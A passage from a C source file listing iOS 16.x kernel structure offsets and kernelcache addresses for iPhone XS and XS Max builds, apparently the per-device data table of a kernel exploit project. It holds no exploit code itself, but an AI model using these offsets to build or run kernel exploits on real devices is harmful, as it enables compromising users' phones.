.task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a311288,\n        .kernelcache__gPhysBase = 0xfffffff0078fc0e0,\n        .kernelcache__gPhysSize = 0xfffffff0078fc0e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078fa2b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a34f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e9dc8c,\n        .kernelcache__ptov_table = 0xfffffff0078af160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a34e990,\n        .kernelcache__vm_pages = 0xfffffff0078abea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ae110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a34e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007eecad8,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e5ab0,\n        .kernelcache__gPhysBase = 0xfffffff007914288,\n        .kernelcache__gPhysSize = 0xfffffff007914288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007912440,\n        .kernelcache__perfmon_devices = 0xfffffff00a425530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec2434,\n        .kernelcache__ptov_table = 0xfffffff0078c79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a424910,\n        .kernelcache__vm_pages = 0xfffffff0078c40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078c6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a424908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f10c44,\n    },\n // End iPhone XS //\n\n     // Start iPhone Xs Max Global //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a235178,\n        .kernelcache__gPhysBase = 0xfffffff00781fc60,\n        .kernelcache__gPhysSize = 0xfffffff00781fc60 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00781de40,\n        .kernelcache__perfmon_devices = 0xfffffff00a270380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e773ac,\n        .kernelcache__ptov_table = 0xfffffff0077d3248,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a26f800,\n        .kernelcache__vm_pages = 0xfffffff0077d0080,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077d2208,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a26f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a44,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = 